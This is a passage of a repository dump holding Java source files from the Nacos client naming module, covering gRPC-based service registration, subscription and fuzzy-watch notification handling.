nacosClientPropertiesView = properties.asProperties();\n        this.securityProxy.login(nacosClientPropertiesView);\n        this.executorService.scheduleWithFixedDelay(() -> securityProxy.login(nacosClientPropertiesView), 0,\n                SECURITY_INFO_REFRESH_INTERVAL_MILLS, TimeUnit.MILLISECONDS);\n    }\n    \n    @Override\n    public void registerService(String serviceName, String groupName, Instance instance) throws NacosException {\n        getExecuteClientProxy(instance).registerService(serviceName, groupName, instance);\n    }\n    \n    @Override\n    public void batchRegisterService(String serviceName, String groupName, List<Instance> instances)\n            throws NacosException {\n        NAMING_LOGGER.info(\"batchRegisterInstance instances: {} ,serviceName: {} begin.\", instances, serviceName);\n        if (CollectionUtils.isEmpty(instances)) {\n            NAMING_LOGGER.warn(\"batchRegisterInstance instances is Empty:{}\", instances);\n        }\n        grpcClientProxy.batchRegisterService(serviceName, groupName, instances);\n        NAMING_LOGGER.info(\"batchRegisterInstance instances: {} ,serviceName: {} finish.\", instances, serviceName);\n    }\n    \n    @Override\n    public void batchDeregisterService(String serviceName, String groupName, List<Instance> instances)\n            throws NacosException {\n        NAMING_LOGGER.info(\"batch DeregisterInstance instances: {} ,serviceName: {} begin.\", instances, serviceName);\n        if (CollectionUtils.isEmpty(instances)) {\n            NAMING_LOGGER.warn(\"batch DeregisterInstance instances is Empty:{}\", instances);\n        }\n        grpcClientProxy.batchDeregisterService(serviceName, groupName, instances);\n        NAMING_LOGGER.info(\"batch DeregisterInstance instances: {} ,serviceName: {} finish.\", instances, serviceName);\n    }\n    \n    @Override\n    public void deregisterService(String serviceName, String groupName, Instance instance) throws NacosException {\n        getExecuteClientProxy(instance).deregisterService(serviceName, groupName, instance);\n    }\n    \n    @Override\n    public void updateInstance(String serviceName, String groupName, Instance instance) throws NacosException {\n    \n    }\n    \n    @Override\n    public ServiceInfo queryInstancesOfService(String serviceName, String groupName, String clusters,\n            boolean healthyOnly) throws NacosException {\n        return grpcClientProxy.queryInstancesOfService(serviceName, groupName, clusters, healthyOnly);\n    }\n    \n    @Override\n    public Service queryService(String serviceName, String groupName) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public void createService(Service service, AbstractSelector selector) throws NacosException {\n    \n    }\n    \n    @Override\n    public boolean deleteService(String serviceName, String groupName) throws NacosException {\n        return false;\n    }\n    \n    @Override\n    public void updateService(Service service, AbstractSelector selector) throws NacosException {\n    \n    }\n    \n    @Override\n    public ListView<String> getServiceList(int pageNo, int pageSize, String groupName, AbstractSelector selector)\n            throws NacosException {\n        return grpcClientProxy.getServiceList(pageNo, pageSize, groupName, selector);\n    }\n    \n    @Override\n    public ServiceInfo subscribe(String serviceName, String groupName, String clusters) throws NacosException {\n        NAMING_LOGGER.info(\"[SUBSCRIBE-SERVICE] service:{}, group:{}, clusters:{} \", serviceName, groupName, clusters);\n        String serviceNameWithGroup = NamingUtils.getGroupedName(serviceName, groupName);\n        String serviceKey = ServiceInfo.getKey(serviceNameWithGroup, clusters);\n        serviceInfoUpdateService.scheduleUpdateIfAbsent(serviceName, groupName, clusters);\n        ServiceInfo result = serviceInfoHolder.getServiceInfoMap().get(serviceKey);\n        if (null == result || !isSubscribed(serviceName, groupName, clusters)) {\n            result = grpcClientProxy.subscribe(serviceName, groupName, clusters);\n        }\n        serviceInfoHolder.processServiceInfo(result);\n        return result;\n    }\n    \n    @Override\n    public void unsubscribe(String serviceName, String groupName, String clusters) throws NacosException {\n        NAMING_LOGGER.debug(\"[UNSUBSCRIBE-SERVICE] service:{}, group:{}, cluster:{} \", serviceName, groupName,\n                clusters);\n        serviceInfoUpdateService.stopUpdateIfContain(serviceName, groupName, clusters);\n        grpcClientProxy.unsubscribe(serviceName, groupName, clusters);\n    }\n    \n    @Override\n    public boolean isSubscribed(String serviceName, String groupName, String clusters) throws NacosException {\n        return grpcClientProxy.isSubscribed(serviceName, groupName, clusters);\n    }\n    \n    @Override\n    public boolean serverHealthy() {\n        return grpcClientProxy.serverHealthy() || httpClientProxy.serverHealthy();\n    }\n    \n    private NamingClientProxy getExecuteClientProxy(Instance instance) {\n        if (instance.isEphemeral() || grpcClientProxy.isAbilitySupportedByServer(\n                AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC)) {\n            return grpcClientProxy;\n        }\n        return httpClientProxy;\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        String className = this.getClass().getName();\n        NAMING_LOGGER.info(\"{} do shutdown begin\", className);\n        serviceInfoUpdateService.shutdown();\n        serverListManager.shutdown();\n        httpClientProxy.shutdown();\n        grpcClientProxy.shutdown();\n        securityProxy.shutdown();\n        ThreadUtils.shutdownThreadPool(executorService, NAMING_LOGGER);\n        NAMING_LOGGER.info(\"{} do shutdown stop\", className);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/remote/gprc/NamingFuzzyWatchNotifyRequestHandler.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote.gprc;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.naming.remote.request.NamingFuzzyWatchChangeNotifyRequest;\nimport com.alibaba.nacos.api.naming.remote.request.NamingFuzzyWatchSyncRequest;\nimport com.alibaba.nacos.api.naming.remote.response.NamingFuzzyWatchChangeNotifyResponse;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.client.naming.cache.NamingFuzzyWatchContext;\nimport com.alibaba.nacos.client.naming.cache.NamingFuzzyWatchServiceListHolder;\nimport com.alibaba.nacos.client.naming.event.NamingFuzzyWatchNotifyEvent;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.remote.client.Connection;\nimport com.alibaba.nacos.common.remote.client.ServerRequestHandler;\nimport com.alibaba.nacos.common.utils.FuzzyGroupKeyPattern;\n\nimport java.util.Collection;\n\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_RESOURCE_CHANGED;\n\n/**\n * handle fuzzy watch request from server.\n *\n * @author shiyiyue\n */\npublic class NamingFuzzyWatchNotifyRequestHandler implements ServerRequestHandler {\n    \n    NamingFuzzyWatchServiceListHolder namingFuzzyWatchServiceListHolder;\n    \n    public NamingFuzzyWatchNotifyRequestHandler(NamingFuzzyWatchServiceListHolder namingFuzzyWatchServiceListHolder) {\n        this.namingFuzzyWatchServiceListHolder = namingFuzzyWatchServiceListHolder;\n        NotifyCenter.registerToPublisher(NamingFuzzyWatchNotifyEvent.class, 1000);\n    }\n    \n    @Override\n    public Response requestReply(Request request, Connection connection) {\n        \n        if (request instanceof NamingFuzzyWatchSyncRequest) {\n            NamingFuzzyWatchSyncRequest watchNotifySyncRequest = (NamingFuzzyWatchSyncRequest) request;\n            NamingFuzzyWatchContext namingFuzzyWatchContext = namingFuzzyWatchServiceListHolder.getFuzzyMatchContextMap()\n                    .get(watchNotifySyncRequest.getGroupKeyPattern());\n            if (namingFuzzyWatchContext != null) {\n                Collection<NamingFuzzyWatchSyncRequest.Context> serviceKeys = watchNotifySyncRequest.getContexts();\n                if (watchNotifySyncRequest.getSyncType().equals(Constants.FUZZY_WATCH_INIT_NOTIFY)\n                        || watchNotifySyncRequest.getSyncType().equals(Constants.FUZZY_WATCH_DIFF_SYNC_NOTIFY)) {\n                    for (NamingFuzzyWatchSyncRequest.Context serviceKey : serviceKeys) {\n                        // may have a 'change event' sent to client before 'init event'\n                        if (namingFuzzyWatchContext.addReceivedServiceKey(serviceKey.getServiceKey())) {\n                            NotifyCenter.publishEvent(NamingFuzzyWatchNotifyEvent.build(\n                                    namingFuzzyWatchServiceListHolder.getNotifierEventScope(),\n                                    watchNotifySyncRequest.getGroupKeyPattern(), serviceKey.getServiceKey(),\n                                    serviceKey.getChangedType(), watchNotifySyncRequest.getSyncType()));\n                        }\n                    }\n                } else if (watchNotifySyncRequest.getSyncType().equals(Constants.FINISH_FUZZY_WATCH_INIT_NOTIFY)) {\n                    namingFuzzyWatchContext.markInitializationComplete();\n                }\n            }\n            \n            return new NamingFuzzyWatchChangeNotifyResponse();\n            \n        } else if (request instanceof NamingFuzzyWatchChangeNotifyRequest) {\n            NamingFuzzyWatchChangeNotifyRequest notifyChangeRequest = (NamingFuzzyWatchChangeNotifyRequest) request;\n            String[] serviceKeyItems = NamingUtils.parseServiceKey(notifyChangeRequest.getServiceKey());\n            String namespace = serviceKeyItems[0];\n            String groupName = serviceKeyItems[1];\n            String serviceName = serviceKeyItems[2];\n            \n            Collection<String> matchedPattern = FuzzyGroupKeyPattern.filterMatchedPatterns(\n                    namingFuzzyWatchServiceListHolder.getFuzzyMatchContextMap().keySet(), serviceName, groupName,\n                    namespace);\n            String serviceChangeType = notifyChangeRequest.getChangedType();\n            \n            switch (serviceChangeType) {\n                case Constants.ServiceChangedType.ADD_SERVICE:\n                case Constants.ServiceChangedType.INSTANCE_CHANGED:\n                    for (String pattern : matchedPattern) {\n                        NamingFuzzyWatchContext namingFuzzyWatchContext = namingFuzzyWatchServiceListHolder.getFuzzyMatchContextMap()\n                                .get(pattern);\n                        if (namingFuzzyWatchContext != null && namingFuzzyWatchContext.addReceivedServiceKey(\n                                ((NamingFuzzyWatchChangeNotifyRequest) request).getServiceKey())) {\n                            //publish local service add event\n                            NotifyCenter.publishEvent(NamingFuzzyWatchNotifyEvent.build(\n                                    namingFuzzyWatchServiceListHolder.getNotifierEventScope(), pattern,\n                                    notifyChangeRequest.getServiceKey(), Constants.ServiceChangedType.ADD_SERVICE,\n                                    FUZZY_WATCH_RESOURCE_CHANGED));\n                        }\n                    }\n                    break;\n                case Constants.ServiceChangedType.DELETE_SERVICE:\n                    for (String pattern : matchedPattern) {\n                        NamingFuzzyWatchContext namingFuzzyWatchContext = namingFuzzyWatchServiceListHolder.getFuzzyMatchContextMap()\n                                .get(pattern);\n                        if (namingFuzzyWatchContext != null && namingFuzzyWatchContext.removeReceivedServiceKey(\n                                notifyChangeRequest.getServiceKey())) {\n                            NotifyCenter.publishEvent(NamingFuzzyWatchNotifyEvent.build(\n                                    namingFuzzyWatchServiceListHolder.getNotifierEventScope(), pattern,\n                                    notifyChangeRequest.getServiceKey(), Constants.ServiceChangedType.DELETE_SERVICE,\n                                    FUZZY_WATCH_RESOURCE_CHANGED));\n                        }\n                    }\n                    break;\n                default:\n                    break;\n            }\n            return new NamingFuzzyWatchChangeNotifyResponse();\n        }\n        return null;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/remote/gprc/NamingGrpcClientProxy.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote.gprc;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityStatus;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.CommonParams;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ListView;\nimport com.alibaba.nacos.api.naming.pojo.Service;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.naming.remote.NamingRemoteConstants;\nimport com.alibaba.nacos.api.naming.remote.request.AbstractNamingRequest;\nimport com.alibaba.nacos.api.naming.remote.request.BatchInstanceRequest;\nimport com.alibaba.nacos.api.naming.remote.request.InstanceRequest;\nimport com.alibaba.nacos.api.naming.remote.request.NamingFuzzyWatchRequest;\nimport com.alibaba.nacos.api.naming.remote.request.PersistentInstanceRequest;\nimport com.alibaba.nacos.api.naming.remote.request.ServiceListRequest;\nimport com.alibaba.nacos.api.naming.remote.request.ServiceQueryRequest;\nimport com.alibaba.nacos.api.naming.remote.request.SubscribeServiceRequest;\nimport com.alibaba.nacos.api.naming.remote.response.BatchInstanceResponse;\nimport com.alibaba.nacos.api.naming.remote.response.NamingFuzzyWatchResponse;\nimport com.alibaba.nacos.api.naming.remote.response.QueryServiceResponse;\nimport com.alibaba.nacos.api.naming.remote.response.ServiceListResponse;\nimport com.alibaba.nacos.api.naming.remote.response.SubscribeServiceResponse;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.api.remote.RemoteConstants;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.alibaba.nacos.api.selector.AbstractSelector;\nimport com.alibaba.nacos.api.selector.SelectorType;\nimport com.alibaba.nacos.client.address.ServerListChangeEvent;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.monitor.MetricsMonitor;\nimport com.alibaba.nacos.client.naming.cache.NamingFuzzyWatchServiceListHolder;\nimport com.alibaba.nacos.client.naming.cache.ServiceInfoHolder;\nimport com.alibaba.nacos.client.naming.remote.AbstractNamingClientProxy;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.NamingGrpcRedoService;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.data.BatchInstanceRedoData;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.data.InstanceRedoData;\nimport com.alibaba.nacos.client.security.SecurityProxy;\nimport com.alibaba.nacos.client.utils.AppNameUtils;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.remote.ConnectionType;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\nimport com.alibaba.nacos.common.remote.client.RpcClientConfigFactory;\nimport com.alibaba.nacos.common.remote.client.RpcClientFactory;\nimport com.alibaba.nacos.common.remote.client.ServerListFactory;\nimport com.alibaba.nacos.common.remote.client.grpc.GrpcClientConfig;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.UUID;\nimport java.util.function.Function;\nimport java.util.stream.Collectors;\n\nimport static com.alibaba.nacos.api.remote.RemoteConstants.MONITOR_LABEL_NONE;\nimport static com.alibaba.nacos.client.utils.LogUtils.NAMING_LOGGER;\n\n/**\n * Naming grpc client proxy.\n *\n * @author xiweng.yy\n */\npublic class NamingGrpcClientProxy extends AbstractNamingClientProxy {\n    \n    private final String namespaceId;\n    \n    private final String uuid;\n    \n    private final Long requestTimeout;\n    \n    private final RpcClient rpcClient;\n    \n    private final NamingGrpcRedoService redoService;\n    \n    private boolean enableClientMetrics = true;\n    \n    public NamingGrpcClientProxy(String namespaceId, SecurityProxy securityProxy, ServerListFactory serverListFactory,\n            NacosClientProperties properties, ServiceInfoHolder serviceInfoHolder,\n            NamingFuzzyWatchServiceListHolder namingFuzzyWatchServiceListHolder) throws NacosException {\n        super(securityProxy);\n        this.namespaceId = namespaceId;\n        this.uuid = UUID.randomUUID().toString();\n        this.requestTimeout = Long.parseLong(properties.getProperty(CommonParams.NAMING_REQUEST_TIMEOUT, \"-1\"));\n        Map<String, String> labels = new HashMap<>();\n        labels.put(RemoteConstants.LABEL_SOURCE, RemoteConstants.LABEL_SOURCE_SDK);\n        labels.put(RemoteConstants.LABEL_MODULE, RemoteConstants.LABEL_MODULE_NAMING);\n        labels.put(Constants.APPNAME, AppNameUtils.getAppName());\n        namingFuzzyWatchServiceListHolder.registerNamingGrpcClientProxy(this);\n        GrpcClientConfig grpcClientConfig = RpcClientConfigFactory.getInstance()\n                .createGrpcClientConfig(properties.asProperties(), labels);\n        this.rpcClient = RpcClientFactory.createClient(uuid, ConnectionType.GRPC, grpcClientConfig);\n        this.redoService = new NamingGrpcRedoService(this, namingFuzzyWatchServiceListHolder, properties);\n        this.enableClientMetrics = Boolean.parseBoolean(\n                properties.getProperty(PropertyKeyConst.ENABLE_CLIENT_METRICS, \"true\"));\n        NAMING_LOGGER.info(\"Create naming rpc client for uuid->{}\", uuid);\n        start(serverListFactory, serviceInfoHolder, namingFuzzyWatchServiceListHolder);\n    }\n    \n    private void start(ServerListFactory serverListFactory, ServiceInfoHolder serviceInfoHolder,\n            NamingFuzzyWatchServiceListHolder namingFuzzyWatchServiceListHolder) throws NacosException {\n        rpcClient.serverListFactory(serverListFactory);\n        rpcClient.registerConnectionListener(redoService);\n        rpcClient.registerServerRequestHandler(new NamingPushRequestHandler(serviceInfoHolder));\n        rpcClient.registerServerRequestHandler(\n                new NamingFuzzyWatchNotifyRequestHandler(namingFuzzyWatchServiceListHolder));\n        rpcClient.start();\n        namingFuzzyWatchServiceListHolder.start();\n        NotifyCenter.registerSubscriber(this);\n    }\n    \n    @Override\n    public void onEvent(ServerListChangeEvent event) {\n        rpcClient.onServerListChange();\n    }\n    \n    @Override\n    public Class<? extends Event> subscribeType() {\n        return ServerListChangeEvent.class;\n    }\n    \n    @Override\n    public void registerService(String serviceName, String groupName, Instance instance) throws NacosException {\n        NAMING_LOGGER.info(\"[REGISTER-SERVICE] {} registering service {} with instance {}\", namespaceId, serviceName,\n                instance);\n        if (instance.isEphemeral()) {\n            registerServiceForEphemeral(serviceName, groupName, instance);\n        } else {\n            doRegisterServiceForPersistent(serviceName, groupName, instance);\n        }\n    }\n    \n    private void registerServiceForEphemeral(String serviceName, String groupName, Instance instance)\n            throws NacosException {\n        redoService.cacheInstanceForRedo(serviceName, groupName, instance);\n        doRegisterService(serviceName, groupName, instance);\n    }\n    \n    @Override\n    public void batchRegisterService(String serviceName, String groupName, List<Instance> instances)\n            throws NacosException {\n        redoService.cacheInstanceForRedo(serviceName, groupName, instances);\n        doBatchRegisterService(serviceName, groupName, instances);\n    }\n    \n    @Override\n    public void batchDeregisterService(String serviceName, String groupName, List<Instance> instances)\n            throws NacosException {\n        synchronized (redoService.getRegisteredInstances()) {\n            List<Instance> retainInstance = getRetainInstance(serviceName, groupName, instances);\n            batchRegisterService(serviceName, groupName, retainInstance);\n        }\n    }\n    \n    /**\n     * Get instance list that need to be Retained.\n     *\n     * @param serviceName         service name\n     * @param groupName           group name\n     * @param deRegisterInstances deregister instance list\n     * @return instance list that need to be retained.\n     */\n    private List<Instance> getRetainInstance(String serviceName, String groupName, List<Instance> deRegisterInstances)\n            throws NacosException {\n        if (CollectionUtils.isEmpty(deRegisterInstances)) {\n            throw new NacosException(NacosException.INVALID_PARAM,\n                    String.format(\"[Batch deRegistration] need deRegister instance is empty, instances: %s,\",\n                            deRegisterInstances));\n        }\n        String combinedServiceName = NamingUtils.getGroupedName(serviceName, groupName);\n        InstanceRedoData instanceRedoData = redoService.getRegisteredInstancesByKey(combinedServiceName);\n        if (!(instanceRedoData instanceof BatchInstanceRedoData)) {\n            throw new NacosException(NacosException.INVALID_PARAM, String.format(\n                    \"[Batch deRegistration] batch deRegister is not BatchInstanceRedoData type , instances: %s,\",\n                    deRegisterInstances));\n        }\n        \n        BatchInstanceRedoData batchInstanceRedoData = (BatchInstanceRedoData) instanceRedoData;\n        List<Instance> allRedoInstances = batchInstanceRedoData.getInstances();\n        if (CollectionUtils.isEmpty(allRedoInstances)) {\n            throw new NacosException(NacosException.INVALID_PARAM, String.format(\n                    \"[Batch deRegistration] not found all registerInstance , serviceName：%s , groupName: %s\",\n                    serviceName, groupName));\n        }\n        \n        Map<Instance, Instance> deRegisterInstanceMap = deRegisterInstances.stream()\n                .collect(Collectors.toMap(Function.identity(), Function.identity()));\n        List<Instance> retainInstances = new ArrayList<>();\n        for (Instance redoInstance : allRedoInstances) {\n            boolean needRetained = true;\n            Iterator<Map.Entry<Instance, Instance>> it = deRegisterInstanceMap.entrySet().iterator();\n            while (it.hasNext()) {\n                Instance deRegisterInstance = it.next().getKey();\n                // only compare Ip & Port because redoInstance's instanceId or serviceName might be null but deRegisterInstance's might not be null.\n                if (compareIpAndPort(deRegisterInstance, redoInstance)) {\n                    needRetained = false;\n                    // clear current entry to speed up next redoInstance comparing.\n                    it.remove();\n                    break;\n                }\n            }\n            if (needRetained) {\n                retainInstances.add(redoInstance);\n            }\n        }\n        return retainInstances;\n    }\n    \n    private boolean compareIpAndPort(Instance deRegisterInstance, Instance redoInstance) {\n        return ((deRegisterInstance.getIp().equals(redoInstance.getIp())) && (deRegisterInstance.getPort()\n                == redoInstance.getPort()));\n    }\n    \n    /**\n     * Execute batch register operation.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param instances   instances\n     * @throws NacosException NacosException\n     */\n    public void doBatchRegisterService(String serviceName, String groupName, List<Instance> instances)\n            throws NacosException {\n        BatchInstanceRequest request = new BatchInstanceRequest(namespaceId, serviceName, groupName,\n                NamingRemoteConstants.BATCH_REGISTER_INSTANCE, instances);\n        requestToServer(request, BatchInstanceResponse.class);\n        redoService.instanceRegistered(serviceName, groupName);\n    }\n    \n    /**\n     * Execute register operation.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param instance    instance to register\n     * @throws NacosException nacos exception\n     */\n    public void doRegisterService(String serviceName, String groupName, Instance instance) throws NacosException {\n        InstanceRequest request = new InstanceRequest(namespaceId, serviceName, groupName,\n                NamingRemoteConstants.REGISTER_INSTANCE, instance);\n        requestToServer(request, Response.class);\n        redoService.instanceRegistered(serviceName, groupName);\n    }\n    \n    /**\n     * Execute register operation for persistent instance.\n     *\n     * @param serviceName name of service\n     * @param groupName   group of service\n     * @param instance    instance to register\n     * @throws NacosException nacos exception\n     */\n    public void doRegisterServiceForPersistent(String serviceName, String groupName, Instance instance)\n            throws NacosException {\n        PersistentInstanceRequest request = new PersistentInstanceRequest(namespaceId, serviceName, groupName,\n                NamingRemoteConstants.REGISTER_INSTANCE, instance);\n        requestToServer(request, Response.class);\n    }\n    \n    @Override\n    public void deregisterService(String serviceName, String groupName, Instance instance) throws NacosException {\n        NAMING_LOGGER.info(\"[DEREGISTER-SERVICE] {} deregistering service {} with instance: {}\", namespaceId,\n                serviceName, instance);\n        if (instance.isEphemeral()) {\n            deregisterServiceForEphemeral(serviceName, groupName, instance);\n        } else {\n            doDeregisterServiceForPersistent(serviceName, groupName, instance);\n        }\n    }\n    \n    private void deregisterServiceForEphemeral(String serviceName, String groupName, Instance instance)\n            throws NacosException {\n        String key = NamingUtils.getGroupedName(serviceName, groupName);\n        InstanceRedoData instanceRedoData = redoService.getRegisteredInstancesByKey(key);\n        if (instanceRedoData instanceof BatchInstanceRedoData) {\n            List<Instance> instances = new ArrayList<>();\n            if (null != instance) {\n                instances.add(instance);\n            }\n            batchDeregisterService(serviceName, groupName, instances);\n        } else {\n            redoService.instanceDeregister(serviceName, groupName);\n            doDeregisterService(serviceName, groupName, instance);\n        }\n    }\n    \n    /**\n     * Execute deregister operation.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param instance    instance\n     * @throws NacosException nacos exception\n     */\n    public void doDeregisterService(String serviceName, String groupName, Instance instance) throws NacosException {\n        InstanceRequest request = new InstanceRequest(namespaceId, serviceName, groupName,\n                NamingRemoteConstants.DE_REGISTER_INSTANCE, instance);\n        requestToServer(request, Response.class);\n        redoService.instanceDeregistered(serviceName, groupName);\n    }\n    \n    /**\n     * Execute deregister operation for persistent instance.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param instance    instance\n     * @throws NacosException nacos exception\n     */\n    public void doDeregisterServiceForPersistent(String serviceName, String groupName, Instance instance)\n            throws NacosException {\n        PersistentInstanceRequest request = new PersistentInstanceRequest(namespaceId, serviceName, groupName,\n                NamingRemoteConstants.DE_REGISTER_INSTANCE, instance);\n        requestToServer(request, Response.class);\n    }\n    \n    @Override\n    public void updateInstance(String serviceName, String groupName, Instance instance) throws NacosException {\n    }\n    \n    @Override\n    public ServiceInfo queryInstancesOfService(String serviceName, String groupName, String clusters,\n            boolean healthyOnly) throws NacosException {\n        ServiceQueryRequest request = new ServiceQueryRequest(namespaceId, serviceName, groupName);\n        request.setCluster(clusters);\n        request.setHealthyOnly(healthyOnly);\n        QueryServiceResponse response = requestToServer(request, QueryServiceResponse.class);\n        return response.getServiceInfo();\n    }\n    \n    @Override\n    public Service queryService(String serviceName, String groupName) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public void createService(Service service, AbstractSelector selector) throws NacosException {\n    }\n    \n    @Override\n    public boolean deleteService(String serviceName, String groupName) throws NacosException {\n        return false;\n    }\n    \n    @Override\n    public void updateService(Service service, AbstractSelector selector) throws NacosException {\n    }\n    \n    @Override\n    public ListView<String> getServiceList(int pageNo, int pageSize, String groupName, AbstractSelector selector)\n            throws NacosException {\n        ServiceListRequest request = new ServiceListRequest(namespaceId, groupName, pageNo, pageSize);\n        if (selector != null) {\n            if (SelectorType.valueOf(selector.getType()) == SelectorType.label) {\n                request.setSelector(JacksonUtils.toJson(selector));\n            }\n        }\n        ServiceListResponse response = requestToServer(request, ServiceListResponse.class);\n        ListView<String> result = new ListView<>();\n        result.setCount(response.getCount());\n        result.setData(response.getServiceNames());\n        return result;\n    }\n    \n    @Override\n    public ServiceInfo subscribe(String serviceName, String groupName, String clusters) throws NacosException {\n        NAMING_LOGGER.info(\"[GRPC-SUBSCRIBE] service:{}, group:{}, cluster:{} \", serviceName, groupName, clusters);\n        redoService.cacheSubscriberForRedo(serviceName, groupName, clusters);\n        return doSubscribe(serviceName, groupName, clusters);\n    }\n    \n    /**\n     * Execute subscribe operation.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param clusters    clusters, current only support subscribe all clusters, maybe deprecated\n     * @return current service info of subscribe service\n     * @throws NacosException nacos exception\n     */\n    public ServiceInfo doSubscribe(String serviceName, String groupName, String clusters) throws NacosException {\n        SubscribeServiceRequest request = new SubscribeServiceRequest(namespaceId, groupName, serviceName, clusters,\n                true);\n        SubscribeServiceResponse response = requestToServer(request, SubscribeServiceResponse.class);\n        redoService.subscriberRegistered(serviceName, groupName, clusters);\n        return response.getServiceInfo();\n    }\n    \n    @Override\n    public void unsubscribe(String serviceName, String groupName, String clusters) throws NacosException {\n        NAMING_LOGGER.info(\"[GRPC-UNSUBSCRIBE] service:{}, group:{}, cluster:{} \", serviceName, groupName, clusters);\n        redoService.subscriberDeregister(serviceName, groupName, clusters);\n        doUnsubscribe(serviceName, groupName, clusters);\n    }\n    \n    @Override\n    public boolean isSubscribed(String serviceName, String groupName, String clusters) throws NacosException {\n        return redoService.isSubscriberRegistered(serviceName, groupName, clusters);\n    }\n    \n    /**\n     * Execute unsubscribe operation.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param clusters    clusters, current only support subscribe all clusters, maybe deprecated\n     * @throws NacosException nacos exception\n     */\n    public void doUnsubscribe(String serviceName, String groupName, String clusters) throws NacosException {\n        SubscribeServiceRequest request = new SubscribeServiceRequest(namespaceId, groupName, serviceName, clusters,\n                false);\n        requestToServer(request, SubscribeServiceResponse.class);\n        redoService.removeSubscriberForRedo(serviceName, groupName, clusters);\n    }\n    \n    @Override\n    public boolean serverHealthy() {\n        return rpcClient.isRunning();\n    }\n    \n    /**\n     * Determine whether nacos-server supports the capability.\n     *\n     * @param abilityKey ability key\n     * @return true if supported, otherwise false\n     */\n    public boolean isAbilitySupportedByServer(AbilityKey abilityKey) {\n        return rpcClient.getConnectionAbility(abilityKey) == AbilityStatus.SUPPORTED;\n    }\n    \n    /**\n     * Execute unsubscribe operation.\n     *\n     * @param namingFuzzyWatchRequest namingFuzzyWatchRequest\n     * @throws NacosException nacos exception\n     */\n    public NamingFuzzyWatchResponse fuzzyWatchRequest(NamingFuzzyWatchRequest namingFuzzyWatchRequest)\n            throws NacosException {\n        return requestToServer(namingFuzzyWatchRequest, NamingFuzzyWatchResponse.class);\n    }\n    \n    private <T extends Response> T requestToServer(Request request, Class<T> responseClass) throws NacosException {\n        Response response = null;\n        try {\n            if (request instanceof AbstractNamingRequest) {\n                request.putAllHeader(getSecurityHeaders(((AbstractNamingRequest) request).getNamespace(),\n                        ((AbstractNamingRequest) request).getGroupName(),\n                        ((AbstractNamingRequest) request).getServiceName()));\n            } else if (request instanceof NamingFuzzyWatchRequest) {\n                request.putAllHeader(\n                        getSecurityHeaders(((NamingFuzzyWatchRequest) request).getNamespace(), null, null));\n            } else {\n                throw new NacosException(400, \"unknown naming request type\");\n            }\n            \n            response = requestTimeout < 0 ? rpcClient.request(request) : rpcClient.request(request, requestTimeout);\n            if (ResponseCode.SUCCESS.getCode() != response.getResultCode()) {\n                // If the 403 login operation is triggered, refresh the accessToken of the client\n                if (NacosException.NO_RIGHT == response.getErrorCode()) {\n                    reLogin();\n                }\n                throw new NacosException(response.getErrorCode(), response.getMessage());\n            }\n            if (responseClass.isAssignableFrom(response.getClass())) {\n                return (T) response;\n            }\n            